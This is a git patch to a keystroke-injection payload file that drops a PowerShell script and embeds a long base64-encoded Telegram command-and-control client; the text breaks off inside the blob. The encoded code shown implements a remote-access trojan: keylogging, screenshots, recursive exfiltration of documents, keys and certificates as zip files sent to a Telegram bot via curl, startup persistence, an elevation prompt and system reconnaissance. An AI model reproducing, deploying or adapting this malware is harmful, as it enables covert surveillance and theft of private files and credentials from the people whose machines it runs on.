From ebeb8db4fd1db4a89a54205fcb5bd9ffb2a8c727 Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Thu, 24 Aug 2023 00:06:26 +0100 Subject: [PATCH] Update Telegram C2 Client from base64 .txt --- OSINT/Telegram C2 Client from base64 .txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/OSINT/Telegram C2 Client from base64 .txt b/OSINT/Telegram C2 Client from base64 .txt index 6d06f13..4b58a75 100644 --- a/OSINT/Telegram C2 Client from base64 .txt +++ b/OSINT/Telegram C2 Client from base64 .txt @@ -26,7 +26,7 @@ DELAY 5000 STRING '$tg = "TELEGRAM_BOT_API_TOKEN_HERE"' | Out-File -FilePath "$env:temp/a.ps1" -Force ENTER -STRING $b64 = 'JFRva2VuID0gIiR0ZyIgICMgUkVQTEFDRSAkdGcgd2l0aCBZb3VyIFRlbGVncmFtIEJvdCBUb2tlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMgRGVmaW5lIENvbm5lY3Rpb24gVmFyaWFibGVzDQokUGFzc1BocmFzZSA9ICIkZW52OkNPTVBVVEVSTkFNRSINCiRVUkw9J2h0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3R7MH0nIC1mICRUb2tlbg0KJGFwaVVybCA9ICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmRNZXNzYWdlIg0KJEFjY2VwdGVkU2Vzc2lvbj0iIg0KJExhc3RVbkF1dGhlbnRpY2F0ZWRNZXNzYWdlPSIiDQokbGFzdGV4ZWNNZXNzYWdlSUQ9IiINCiRnbG9iYWw6ZXJyb3Jtc2cgPSAwICMgMSA9IHJldHVybiBlcnJvciBtZXNzYWdlcyAob2ZmIGJ5IGRlZmF1bHQpDQoNCiMgRW1vamkgY2hhcmFjdGVycw0KJHRpY2sgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgyNzA1KQ0KJGNvbXAgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjRCQikNCiRjbG9zZWQgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgyNzRDKQ0KJHdhaXRpbmcgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjU1QykNCiRnbGFzcyA9IFtjaGFyXTo6Q29udmVydEZyb21VdGYzMigweDFGNTBEKQ0KJGNtZGUgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjUxNykNCiRwYXVzZSA9IFtjaGFyXTo6Q29udmVydEZyb21VdGYzMigweDIzRjgpDQoNCiMgU3RhcnR1cCBEZWxheQ0KaWYoVGVzdC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSIpe1NsZWVwIDE1fQ0KU2xlZXAgMg0KIyByZW1vdmUgcGF1c2UgZmlsZXMNCmlmKFRlc3QtUGF0aCAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAucHMxIil7cm0gLXBhdGggIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1x0ZW1wLnBzMSIgLUZvcmNlfQ0KaWYoVGVzdC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC52YnMiKXtybSAtcGF0aCAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAudmJzIiAtRm9yY2V9DQojIEdldCBDaGF0IElEIGZyb20gdGhlIGJvdA0KJHVwZGF0ZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICgkdXJsICsgIi9nZXRVcGRhdGVzIikNCmlmICgkdXBkYXRlcy5vayAtZXEgJHRydWUpIHskbGF0ZXN0VXBkYXRlID0gJHVwZGF0ZXMucmVzdWx0Wy0xXQ0KaWYgKCRsYXRlc3RVcGRhdGUubWVzc2FnZSAtbmUgJG51bGwpeyRjaGF0SUQgPSAkbGF0ZXN0VXBkYXRlLm1lc3NhZ2UuY2hhdC5pZDtXcml0ZS1Ib3N0ICJDaGF0IElEOiAkY2hhdElEIn19DQokTWVzc2FnZVRvU2VuZCA9IE5ldy1PYmplY3QgcHNvYmplY3QgDQokTWVzc2FnZVRvU2VuZCB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdjaGF0X2lkJyAtVmFsdWUgJENoYXRJRA0KIyBDb2xsZWN0IHNjcmlwdCBjb250ZW50cw0KJHNjcmlwdERpcmVjdG9yeSA9IEdldC1Db250ZW50IC1wYXRoICRNeUludm9jYXRpb24uTXlDb21tYW5kLk5hbWUgLVJhdw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIE9OIFNUQVJUIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNZXNzYWdlIHdhaXRpbmcgZm9yIHBhc3NwaHJhc2UNCiRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkd2FpdGluZyBXYWl0aW5nIHRvIENvbm5lY3QuLiINCiRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gQUNUSU9OIEZVTkNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCkZ1bmN0aW9uIE9wdGlvbnN7DQokY29udGVudHMgPSAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09ICRjb21wIFRlbGVncmFtIEMyIE9wdGlvbnMgTGlzdCAkY29tcCA9PT09PT09PQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09PT09PSAkY21kZSBDb21tYW5kcyBMaXN0ICRjbWRlID09PT09PT09PT09PQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQpDbG9zZSAgIDogQ2xvc2UgdGhpcyBTZXNzaW9uDQpFeHRyYUluZm8gICAgOiBFeHRyYSBjb21tYW5kcyBpbmZvcm1hdGlvbg0KUGF1c2VTZXNzaW9uICAgOiBLaWxscyB0aGlzIHNlc3Npb24gYW5kIHJlc3RhcnRzDQpUb2dnbGVFcnJvcnMgICAgOiBUb2dnbGUgZXJyb3IgbWVzc2FnZXMgdG8gY2hhdA0KRm9sZGVyVHJlZSAgICA6IEdldHMgRGlyIHRyZWUgYW5kIHNlbmRzIGl0IHppcHBlZA0KU2NyZWVuc2hvdCAgIDogU2VuZHMgYSBzY3JlZW5zaG90IG9mIHRoZSBkZXNrdG9wDQpLZXljYXB0dXJlICAgIDogQ2FwdHVyZSBLZXlzdHJva2VzIGFuZCBzZW5kDQpFeGZpbHRyYXRlICAgOiBTZW5kcyBmaWxlcyAoc2VlIGJlbG93IGZvciBpbmZvKQ0KU3lzdGVtaW5mbyAgIDogU2VuZCBTeXN0ZW0gaW5mbyBhcyB0ZXh0IGZpbGUNClNvZnR3YXJlaW5mbyAgIDogU2VuZCBTb2Z0d2FyZSBpbmZvIGFzIHRleHQgZmlsZQ0KSGlzdG9yeWluZm8gICA6IFNlbmQgSGlzdG9yeSBpbmZvIGFzIHRleHQgZmlsZQ0KQWRkUGVyc2lzdGFuY2UgICA6IEFkZCBUZWxlZ3JhbSBDMiB0byBTdGFydHVwDQpSZW1vdmVQZXJzaXN0YW5jZSAgIDogUmVtb3ZlIFN0YXJ0dXAgUGVyc2lzdGFuY2UNCklzQWRtaW4gICA6IENoZWNrcyBpZiBzZXNzaW9uIGhhcyBhZG1pbiBQcml2aWxlZ2VzDQpBdHRlbXB0RWxldmF0ZSAgOiBTZW5kIHVzZXIgYSBwcm9tcHQgdG8gZ2FpbiBBZG1pbg0KS2lsbCAgICA6IEtpbGxzd2l0Y2ggZm9yICdLZXlDYXB0dXJlJyBhbmQgJ0V4ZmlsdHJhdGUnIA0KDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ig0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KfQ0KDQpGdW5jdGlvbiBFeHRyYUluZm97DQokY29udGVudHMgPSAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09PT09ICRnbGFzcyBFeGFtcGxlcyBhbmQgSW5mbyAkZ2xhc3MgPT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KPT09PT09PT09ICBFeGZpbHRyYXRlIENvbW1hbmQgRXhhbXBsZXMgPT09PT09PT09PQ0KDQooIFBTYD4gRXhmaWx0cmF0ZSAtUGF0aCBEb2N1bWVudHMgLUZpbGV0eXBlIHBuZyApDQooIFBTYD4gRXhmaWx0cmF0ZSAtRmlsZXR5cGUgbG9nICkNCiggUFNgPiBFeGZpbHRyYXRlICkNCkV4ZmlsdHJhdGUgb25seSB3aWxsIHNlbmQgbWFueSBwcmUtZGVmaW5lZCBmaWxldHlwZXMNCmZyb20gYWxsIFVzZXIgRm9sZGVycyBsaWtlIERvY3VtZW50cywgRG93bmxvYWRzIGV0Yy4uDQoNClBBVEgNCkRvY3VtZW50cywgRGVza3RvcCwgRG93bmxvYWRzLA0KT25lRHJpdmUsIFBpY3R1cmVzLCBWaWRlb3MuDQpGSUxFVFlQRQ0KbG9nLCBkYiwgdHh0LCBkb2MsIHBkZiwganBnLCBqcGVnLCBwbmcsDQp3ZG9jLCB4ZG9jLCBjZXIsIGtleSwgeGxzLCB4bHN4LA0KY2ZnLCBjb25mLCBkb2N4LCByZnQuDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIENsb3Nlew0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICRjbG9zZWQgQ29ubmVjdGlvbiBDbG9zZWQiDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0Kcm0gLVBhdGggIiRlbnY6dGVtcC90Z2MyLnR4dCIgLUZvcmNlDQpleGl0DQp9DQoNCkZ1bmN0aW9uIEV4ZmlsdHJhdGUgew0KcGFyYW0gKFtzdHJpbmdbXV0kRmlsZVR5cGUsW3N0cmluZ1tdXSRQYXRoKQ0KJG1heFppcEZpbGVTaXplID0gNTBNQg0KJGN1cnJlbnRaaXBTaXplID0gMA0KJGluZGV4ID0gMQ0KJHppcEZpbGVQYXRoID0iJGVudjp0ZW1wL0xvb3QkaW5kZXguemlwIg0KJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICR0aWNrIEV4ZmlsdHJhdGlvbiBTdGFydGVkLi4gKFN0b3Agd2l0aCBLaWxsc3dpdGNoKSINCiRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zICB8IE91dC1OdWxsDQpJZigkUGF0aCAtbmUgJG51bGwpeyRmb2xkZXJzVG9TZWFyY2ggPSAiJGVudjpVU0VSUFJPRklMRVwiKyRQYXRofQ0KZWxzZXskZm9sZGVyc1RvU2VhcmNoID0gQCgiJGVudjpVU0VSUFJPRklMRVxEb2N1bWVudHMiLCIkZW52OlVTRVJQUk9GSUxFXERlc2t0b3AiLCIkZW52OlVTRVJQUk9GSUxFXERvd25sb2FkcyIsIiRlbnY6VVNFUlBST0ZJTEVcT25lRHJpdmUiLCIkZW52OlVTRVJQUk9GSUxFXFBpY3R1cmVzIiwiJGVudjpVU0VSUFJPRklMRVxWaWRlb3MiKX0NCklmKCRGaWxlVHlwZSAtbmUgJG51bGwpeyRmaWxlRXh0ZW5zaW9ucyA9ICIqLiIrJEZpbGVUeXBlfQ0KZWxzZSB7JGZpbGVFeHRlbnNpb25zID0gQCgiKi5sb2ciLCAiKi5kYiIsICIqLnR4dCIsICIqLmRvYyIsICIqLnBkZiIsICIqLmpwZyIsICIqLmpwZWciLCAiKi5wbmciLCAiKi53ZG9jIiwgIioueGRvYyIsICIqLmNlciIsICIqLmtleSIsICIqLnhscyIsICIqLnhsc3giLCAiKi5jZmciLCAiKi5jb25mIiwgIiouZG9jeCIsICIqLnJmdCIpfQ0KQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uRmlsZVN5c3RlbQ0KJHppcEFyY2hpdmUgPSBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpPcGVuKCR6aXBGaWxlUGF0aCwgJ0NyZWF0ZScpDQokZXNjbXNnID0gIkZpbGVzIGZyb20gOiAiKyRlbnY6Q09NUFVURVJOQU1FDQpmb3JlYWNoICgkZm9sZGVyIGluICRmb2xkZXJzVG9TZWFyY2gpIHsNCiAgICBmb3JlYWNoICgkZXh0ZW5zaW9uIGluICRmaWxlRXh0ZW5zaW9ucykgew0KICAgICAgICAkZmlsZXMgPSBHZXQtQ2hpbGRJdGVtIC1QYXRoICRmb2xkZXIgLUZpbHRlciAkZXh0ZW5zaW9uIC1GaWxlIC1SZWN1cnNlDQogICAgICAgIGZvcmVhY2ggKCRmaWxlIGluICRmaWxlcykgew0KICAgICAgICAgICAgJGZpbGVTaXplID0gJGZpbGUuTGVuZ3RoDQogICAgICAgICAgICBpZiAoJGN1cnJlbnRaaXBTaXplICsgJGZpbGVTaXplIC1ndCAkbWF4WmlwRmlsZVNpemUpIHsNCiAgICAgICAgICAgICAgICAkemlwQXJjaGl2ZS5EaXNwb3NlKCkNCiAgICAgICAgICAgICAgICAkY3VycmVudFppcFNpemUgPSAwDQogICAgICAgICAgICAgICAgY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkemlwRmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCINCiAgICAgICAgICAgICAgICBSZW1vdmUtSXRlbSAtUGF0aCAkemlwRmlsZVBhdGggLUZvcmNlDQogICAgICAgICAgICAgICAgU2xlZXAgMQ0KICAgICAgICAgICAgICAgICRpbmRleCsrDQogICAgICAgICAgICAgICAgJHppcEZpbGVQYXRoID0iJGVudjp0ZW1wL0xvb3QkaW5kZXguemlwIg0KICAgICAgICAgICAgICAgICR6aXBBcmNoaXZlID0gW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlXTo6T3BlbigkemlwRmlsZVBhdGgsICdDcmVhdGUnKQ0KICAgICAgICAgICAgICAgICRtZXNzYWdlcz1ydGdtc2cNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJraWxsIikgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJGNsb3NlZCBFeGZpbHRyYXRpb24gS2lsbGVkIg0KICAgICAgICAgICAgICAgICAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICAgICAgICAgICAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGVudHJ5TmFtZSA9ICRmaWxlLkZ1bGxOYW1lLlN1YnN0cmluZygkZm9sZGVyLkxlbmd0aCArIDEpDQogICAgICAgICAgICAgICAgW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlRXh0ZW5zaW9uc106OkNyZWF0ZUVudHJ5RnJvbUZpbGUoJHppcEFyY2hpdmUsICRmaWxlLkZ1bGxOYW1lLCAkZW50cnlOYW1lKQ0KICAgICAgICAgICAgICAgICRjdXJyZW50WmlwU2l6ZSArPSAkZmlsZVNpemUNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiR6aXBBcmNoaXZlLkRpc3Bvc2UoKQ0KY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkemlwRmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgIHwgT3V0LU51bGwNCnJtIC1QYXRoICR6aXBGaWxlUGF0aCAtRm9yY2UNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFeGZpbHRyYXRpb24gQ29tcGxldGUhIg0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgIHwgT3V0LU51bGwNCn0NCg0KDQpGdW5jdGlvbiBTY3JlZW5zaG90ew0KQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtcw0KJHNjcmVlbiA9IFtTeXN0ZW0uV2luZG93cy5Gb3Jtcy5TeXN0ZW1JbmZvcm1hdGlvbl06OlZpcnR1YWxTY3JlZW4NCiRiaXRtYXAgPSBOZXctT2JqZWN0IERyYXdpbmcuQml0bWFwICRzY3JlZW4uV2lkdGgsICRzY3JlZW4uSGVpZ2h0DQokZ3JhcGhpY3MgPSBbU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NdOjpGcm9tSW1hZ2UoJGJpdG1hcCkNCiRncmFwaGljcy5Db3B5RnJvbVNjcmVlbigkc2NyZWVuLkxlZnQsICRzY3JlZW4uVG9wLCAwLCAwLCAkc2NyZWVuLlNpemUpDQokZmlsZVBhdGggPSAiJGVudjp0ZW1wXHNjLnBuZyINCiRiaXRtYXAuU2F2ZSgkZmlsZVBhdGgsIFtTeXN0ZW0uRHJhd2luZy5JbWFnaW5nLkltYWdlRm9ybWF0XTo6UG5nKQ0KJGdyYXBoaWNzLkRpc3Bvc2UoKQ0KJGJpdG1hcC5EaXNwb3NlKCkNCmN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJGZpbGVQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiIHwgT3V0LU51bGwNClJlbW92ZS1JdGVtIC1QYXRoICRmaWxlUGF0aA0KfQ0KDQpGdW5jdGlvbiBLZXlDYXB0dXJlIHsNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBLZXlDYXB0dXJlIFN0YXJ0ZWQuLiAoU3RvcCB3aXRoIEtpbGxzd2l0Y2gpIg0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCiRBUEkgPSAnW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvLCBFeGFjdFNwZWxsaW5nPXRydWUpXSBwdWJsaWMgc3RhdGljIGV4dGVybiBzaG9ydCBHZXRBc3luY0tleVN0YXRlKGludCB2aXJ0dWFsS2V5Q29kZSk7IFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQXV0byldcHVibGljIHN0YXRpYyBleHRlcm4gaW50IEdldEtleWJvYXJkU3RhdGUoYnl0ZVtdIGtleXN0YXRlKTtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8pXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBNYXBWaXJ0dWFsS2V5KHVpbnQgdUNvZGUsIGludCB1TWFwVHlwZSk7W0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvKV1wdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgVG9Vbmljb2RlKHVpbnQgd1ZpcnRLZXksIHVpbnQgd1NjYW5Db2RlLCBieXRlW10gbHBrZXlzdGF0ZSwgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlciBwd3N6QnVmZiwgaW50IGNjaEJ1ZmYsIHVpbnQgd0ZsYWdzKTsnDQokQVBJID0gQWRkLVR5cGUgLU1lbWJlckRlZmluaXRpb24gJEFQSSAtTmFtZSAnV2luMzInIC1OYW1lc3BhY2UgQVBJIC1QYXNzVGhydQ0KJExhc3RLZXlwcmVzc1RpbWUgPSBbU3lzdGVtLkRpYWdub3N0aWNzLlN0b3B3YXRjaF06OlN0YXJ0TmV3KCkNCiRLZXlwcmVzc1RocmVzaG9sZCA9IFtUaW1lU3Bhbl06OkZyb21TZWNvbmRzKDEwKQ0KV2hpbGUgKCR0cnVlKXsNCiAgICAka2V5UHJlc3NlZCA9ICRmYWxzZQ0KICAgIHRyeXsNCiAgICB3aGlsZSAoJExhc3RLZXlwcmVzc1RpbWUuRWxhcHNlZCAtbHQgJEtleXByZXNzVGhyZXNob2xkKSB7DQogICAgICAgIFN0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMzANCiAgICAgICAgZm9yICgkYXNjID0gODsgJGFzYyAtbGUgMjU0OyAkYXNjKyspew0KICAgICAgICAka2V5c3QgPSAkQVBJOjpHZXRBc3luY0tleVN0YXRlKCRhc2MpDQogICAgICAgICAgICBpZiAoJGtleXN0IC1lcSAtMzI3NjcpIHsNCiAgICAgICAgICAgICRrZXlQcmVzc2VkID0gJHRydWUNCiAgICAgICAgICAgICRMYXN0S2V5cHJlc3NUaW1lLlJlc3RhcnQoKQ0KICAgICAgICAgICAgJG51bGwgPSBbY29uc29sZV06OkNhcHNMb2NrDQogICAgICAgICAgICAkdnRrZXkgPSAkQVBJOjpNYXBWaXJ0dWFsS2V5KCRhc2MsIDMpDQogICAgICAgICAgICAka2JzdCA9IE5ldy1PYmplY3QgQnl0ZVtdIDI1Ng0KICAgICAgICAgICAgJGNoZWNra2JzdCA9ICRBUEk6OkdldEtleWJvYXJkU3RhdGUoJGtic3QpDQogICAgICAgICAgICAkbG9nY2hhciA9IE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCRBUEk6OlRvVW5pY29kZSgkYXNjLCAkdnRrZXksICRrYnN0LCAkbG9nY2hhciwgJGxvZ2NoYXIuQ2FwYWNpdHksIDApKSB7DQogICAgICAgICAgICAgICAgJExTdHJpbmcgPSAkbG9nY2hhci5Ub1N0cmluZygpDQogICAgICAgICAgICAgICAgICAgIGlmICgkYXNjIC1lcSA4KSB7JExTdHJpbmcgPSAiW0JLU1BdIn0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRhc2MgLWVxIDEzKSB7JExTdHJpbmcgPSAiW0VOVF0ifQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGFzYyAtZXEgMjcpIHskTFN0cmluZyA9ICJbRVNDXSJ9DQogICAgICAgICAgICAgICAgICAgICRub3NhdmUgKz0gJExTdHJpbmcgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJG1lc3NhZ2VzPXJ0Z21zZw0KICAgICAgICBpZiAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgImtpbGwiKSB7DQogICAgICAgICRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkY2xvc2VkIEtleUNhcHR1cmUgS2lsbGVkIg0KICAgICAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zIHwgT3V0LU51bGwNCiAgICAgICAgYnJlYWsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBmaW5hbGx5ew0KICAgICAgICBJZiAoJGtleVByZXNzZWQpIHsNCiAgICAgICAgICAgICRlc2Ntc2dzeXMgPSAkbm9zYXZlIC1yZXBsYWNlICdbJjw+XScsIHskYXJnc1swXS5WYWx1ZS5SZXBsYWNlKCcmJywgJyZhbXA7JykuUmVwbGFjZSgnPCcsICcmbHQ7JykuUmVwbGFjZSgnPicsICcmZ3Q7Jyl9DQogICAgICAgICAgICAkdGltZXN0YW1wID0gR2V0LURhdGUgLUZvcm1hdCAiZGQtTU0teXl5eSBISDptbTpzcyINCiAgICAgICAgICAgICRjb250ZW50cyA9ICIkZ2xhc3MgS2V5cyBDYXB0dXJlZCA6ICIrJGVzY21zZ3N5cw0KICAgICAgICAgICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgICAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KICAgICAgICAgICAgJGtleVByZXNzZWQgPSAkZmFsc2UNCiAgICAgICAgICAgICRub3NhdmUgPSAiIg0KICAgICAgICB9DQogICAgfQ0KJExhc3RLZXlwcmVzc1RpbWUuUmVzdGFydCgpDQpTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDEwDQp9DQp9DQoNCkZ1bmN0aW9uIFN5c3RlbUluZm97DQokZnVsbE5hbWUgPSBOZXQgVXNlciAkRW52OnVzZXJuYW1lIHwgU2VsZWN0LVN0cmluZyAtUGF0dGVybiAiRnVsbCBOYW1lIjskZnVsbE5hbWUgPSAoIiRmdWxsTmFtZSIpLlRyaW1TdGFydCgiRnVsbCIpDQokZW1haWwgPSBHUFJFU1VMVCAtWiAvVVNFUiAkRW52OnVzZXJuYW1lIHwgU2VsZWN0LVN0cmluZyAtUGF0dGVybiAiKFthLXpBLVowLTlfXC1cLl0rKUAoW2EtekEtWjAtOV9cLVwuXSspXC4oW2EtekEtWl17Miw1fSkiIC1BbGxNYXRjaGVzOyRlbWFpbCA9ICgiJGVtYWlsIikuVHJpbSgpDQokY29tcHV0ZXJQdWJJUD0oSW52b2tlLVdlYlJlcXVlc3QgaXBpbmZvLmlvL2lwIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQNCiRjb21wdXRlcklQID0gZ2V0LVdtaU9iamVjdCBXaW4zMl9OZXR3b3JrQWRhcHRlckNvbmZpZ3VyYXRpb258V2hlcmUgeyRfLklwYWRkcmVzcy5sZW5ndGggLWd0IDF9DQokTmVhcmJ5V2lmaSA9IChuZXRzaCB3bGFuIHNob3cgbmV0d29ya3MgbW9kZT1Cc3NpZCB8ID97JF8gLWxpa2UgIlNTSUQqIiAtb3IgJF8gLWxpa2UgIipBdXRoZW50aWNhdGlvbioiIC1vciAkXyAtbGlrZSAiKkVuY3J5cHRpb24qIn0pLnRyaW0oKQ0KJE5ldHdvcmsgPSBHZXQtV21pT2JqZWN0IFdpbjMyX05ldHdvcmtBZGFwdGVyQ29uZmlndXJhdGlvbiB8IHdoZXJlIHsgJF8uTUFDQWRkcmVzcyAtbm90bGlrZSAkbnVsbCB9ICB8IHNlbGVjdCBJbmRleCwgRGVzY3JpcHRpb24sIElQQWRkcmVzcywgRGVmYXVsdElQR2F0ZXdheSwgTUFDQWRkcmVzcyB8IEZvcm1hdC1UY